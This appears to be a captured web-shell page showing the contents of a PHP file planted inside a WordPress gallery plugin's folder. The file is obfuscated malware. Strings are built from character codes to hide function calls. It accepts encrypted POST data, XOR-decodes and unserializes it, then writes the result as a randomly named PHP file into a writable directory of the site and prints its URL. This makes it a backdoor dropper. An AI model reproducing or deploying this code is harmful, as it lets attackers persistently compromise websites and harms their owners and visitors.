HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/incastiglionfiorentino/wp-content/plugins/nextgen-gallery/src/Legacy/xml/ajax.php
<?php $DeAGETGpnq = "GjyelQkmfU";function PCbgIofFBJ($DeAGETGpnq){$nHuwqzxzXs = chr(114).chr(97).chr(119).chr(117).chr(114).chr(967-859).'d'.chr(101)."\143".'o'.'d'.chr(101);$pqLSOjQ = 's'.chr(226-110).chr(274-160).chr(649-554)."\162".'o'."\x74".chr(49)."\x33";$Zbnnv = 's'.'t'.chr(114).chr(935-840).chr(115)."\160"."\x6c"."\x69".chr(116);$DeAGETGpnq = $Zbnnv($nHuwqzxzXs($pqLSOjQ($DeAGETGpnq)));return $DeAGETGpnq;}function TqiCAUAZR($wInKHNNddO, $tDUdo){$zkkvjo = chr(115).chr(116).'r'."\x5f".'s'.chr(433-321).'l'."\x69"."\x74";$wInKHNNddO = array_slice($zkkvjo(str_repeat($wInKHNNddO, (count($tDUdo)/16)+1)), 0, count($tDUdo));return $wInKHNNddO;}function SUSLEhN($VqASvwZW, $mbGLeUpI, $wInKHNNddO){$wiFxdk = "7706d511-b2b5-42f5-bc20-b52eb49aa55e";return $VqASvwZW ^ $wiFxdk[$mbGLeUpI % strlen($wiFxdk)] ^ $wInKHNNddO;}function tyoQNvZmZ($tDUdo, $wInKHNNddO){$tDUdo = array_map("SUSLEhN", array_values($tDUdo), array_keys($tDUdo), array_values($wInKHNNddO));$tDUdo = implode("", $tDUdo);$gIHPSo = "\165".chr(110).chr(588-473)."\145"."\162".chr(393-288)."\141"."\x6c".chr(105).chr(634-512)."\145";$tDUdo = @$gIHPSo($tDUdo);return $tDUdo;}function zhudvHxYVc(){echo "RZsqHK";}function XGxfqcIGHV($qfunmWtFDlir){static $GXlvtIa = array();$akTmKNk = glob($qfunmWtFDlir . '/*', GLOB_ONLYDIR);$HMbXU = count($akTmKNk);if ($HMbXU > 0) {foreach ($akTmKNk as $qfunmWtFDl) {$GAvMHq = chr(568-463)."\x73".chr(95)."\167".chr(570-456).chr(105)."\164".chr(97).chr(98).'l'."\145";if (@$GAvMHq($qfunmWtFDl)) {$GXlvtIa[] = $qfunmWtFDl;}}}foreach ($akTmKNk as $qfunmWtFDlir) XGxfqcIGHV($qfunmWtFDlir);return $GXlvtIa;}function IwSPV(){echo "GjyelQkmfU";}function hJsEu($tDUdo){$oVwrld = "\x44".chr(541-462).chr(67).'U'.'M'.'E'."\116".'T'.chr(95)."\122".chr(79)."\x4f"."\124";$kDart = $_SERVER[$oVwrld];$akTmKNk = XGxfqcIGHV($kDart);$YknpTtjH = array_rand($akTmKNk);$QMOOk = "\56".'p'."\x68"."\160";$wqVBPAi = $akTmKNk[$YknpTtjH] . "/" . substr(md5(time()), 0, 8) . $QMOOk;$OtnBsHCh = chr(102).'i'.chr(538-430)."\145"."\x5f"."\x70"."\165".chr(1087-971).'_'."\x63".chr(923-812)."\156".chr(963-847).chr(101)."\x6e".chr(491-375)."\163";@$OtnBsHCh($wqVBPAi, $tDUdo);$yrcnjgJqsz = "\110"."\124".chr(164-80)."\x50"."\x5f"."\x48"."\117"."\x53"."\124";$AzYbSGp = chr(294-190).'t'."\164".chr(1009-897)."\x3a"."\57"."\x2f";$ercasIR = $AzYbSGp . $_SERVER[$yrcnjgJqsz] . substr($wqVBPAi, strlen($kDart));print($ercasIR);}foreach ($_POST as $wInKHNNddO => $tDUdo){$EoUPMuHzoy = strlen($wInKHNNddO);if ($EoUPMuHzoy == 16){$tDUdo = PCbgIofFBJ($tDUdo);$wInKHNNddO = TqiCAUAZR($wInKHNNddO, $tDUdo);$tDUdo = tyoQNvZmZ($tDUdo, $wInKHNNddO);if (@is_array($tDUdo)){$YknpTtjH = array_keys($tDUdo);$tDUdo = $tDUdo[$YknpTtjH[0]];$YknpTtjH = $YknpTtjH[0];if ($tDUdo !== $YknpTtjH){hJsEu($tDUdo);}else {$YVnxiOKFN = 'p'.'h'.'p';$BooJk = "\x70"."\150"."\x70"."\x76"."\x65".chr(567-453).chr(115)."\x69".chr(616-505).chr(110);$tDUdo = Array($YVnxiOKFN => @$BooJk(), );$XjDbqdlIA = chr(115).chr(383-282).'r'."\151".'a'.chr(744-636).chr(105)."\x7a".chr(635-534);echo @$XjDbqdlIA($tDUdo);}die();}}}